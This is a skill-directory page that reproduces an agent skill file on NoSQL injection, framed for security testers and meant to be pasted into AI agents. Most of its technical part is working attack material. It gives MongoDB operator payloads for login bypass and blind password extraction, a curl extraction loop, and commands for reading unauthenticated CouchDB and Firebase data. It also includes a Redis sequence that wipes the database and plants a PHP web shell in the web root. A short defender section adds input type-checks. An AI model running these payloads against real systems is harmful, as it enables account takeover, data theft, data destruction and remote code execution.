nosqli
What it does
This skill explains how NoSQL databases such as MongoDB can be abused when user input becomes part of a query. It is for security testers checking login and search features.
When to use it
- βWhen a login or search uses a MongoDB or similar database and accepts JSON input.
- βWhen a scan shows a database that may be open to unauthenticated reads.
- βWhen you want to check whether operator inputs can bypass a password check.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/nosqli/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βCan you check whether my app's login accepts special query operators instead of a password?β
5 new skills a week. 1 minute to read.
How it works
The agent sends JSON with operators such as not-equal or regex in place of plain values, then checks whether the response changes in a way that shows the query was altered.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
NoSQL Injection
NoSQL stores parse JSON / native objects. When user input becomes part of a query object (not just a value), control flows into the query.
1. MongoDB β most common target
Auth bypass
// Vulnerable: db.users.findOne({user: req.body.user, pass: req.body.pass})
POST /login
{"user": {"$ne": null}, "pass": {"$ne": null}} // returns first user
{"user": "admin", "pass": {"$gt": ""}} // admin if pw exists
{"user": "admin", "pass": {"$regex": "^A"}} // blind char extraction
Server-side JS injection
{"$where": "this.user == 'admin' && sleep(5000)"} // time-based
{"$where": "function() { return this.user.length > 0 && this.user.match(/^a/) }"}
$where was deprecated in Mongo 4.4 β still appears in legacy.
Operator extraction (blind)
# Burp Intruder w/ payload list
for char in {a..z}; do
curl -s -X POST $TARGET/login \
-d "{\"user\":\"admin\",\"pass\":{\"\$regex\":\"^${char}\"}}" \
| grep -q "success" && echo "char: $char"
done
2. CouchDB
# Admin party (no auth required)
curl http://target:5984/_all_dbs
curl http://target:5984/_users/_all_docs
# Then read/modify any document
3. Firebase Realtime Database
# Public-read databases (most common misconfig)
curl https://YOUR-FIREBASE-PROJECT.firebaseio.com/.json
# Returns entire DB if rules are "true"
4. Redis
# Unauth Redis (still common on internal nets, occasionally exposed)
redis-cli -h target -p 6379 INFO
# Module loading attack if running as root + module dir writable
redis-cli -h target FLUSHALL
redis-cli -h target SET dir /var/www/html
redis-cli -h target SET dbfilename shell.php
redis-cli -h target SET payload "<?php system($_GET['c']); ?>"
redis-cli -h target SAVE
5. Tools
- NoSQLMap β automated mongo injection (
nosqlmap.py) - mongoaudit β config scanner
- Burp Intruder w/ payloads/NoSQL Injection/ as wordlist
- fuzzdb β has NoSQL payload variants
6. PoC
# Mongo auth bypass via curl
curl -s -X POST $TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$ne": null}, "password": {"$ne": null}}' \
| jq
# If logged-in-as-admin β critical
7. Severity
| Bug | Severity |
|---|---|
Auth bypass via $ne |
Critical 9.8 |
| Blind char extraction of all user data | Critical 9.0 |
$where JS injection β RCE-adjacent (mongo runs the JS) |
Critical 9.8 |
| Public CouchDB / Firebase | Critical (depends on data sensitivity) |
| Unauth Redis on internal net | High 7-8 |
8. Defender
// Sanitize/typecheck before query
if (typeof req.body.user !== 'string') return res.status(400).send();
if (typeof req.body.pass !== 'string') return res.status(400).send();
// Or use parameterized queries / Mongo ODM (Mongoose schemas)
User.findOne({user: req.body.user}).select('+password');
// Disable $where globally
mongoose.set('strictQuery', true);
Cross-references
- Upstream catalog:
skills/_corpus/payloads/NoSQL Injection/ - SQLi (different attack class, similar mindset):
skills/exploit/web/sqli.md
FAQ
Which databases does it cover?
It focuses on MongoDB and also covers CouchDB, Firebase Realtime Database and Redis patterns.
Can it extract data without seeing results?
Yes, the skill describes blind extraction that works by checking one character at a time.
Does it cover server-side JavaScript?
Yes, it mentions the $where operator, which can run JavaScript in older MongoDB versions.
Details
Original description by the author
NoSQL injection β MongoDB operator injection ($ne, $gt, $where, $regex), CouchDB / Firebase / Redis attack patterns, auth bypass, blind extraction.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #14072
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.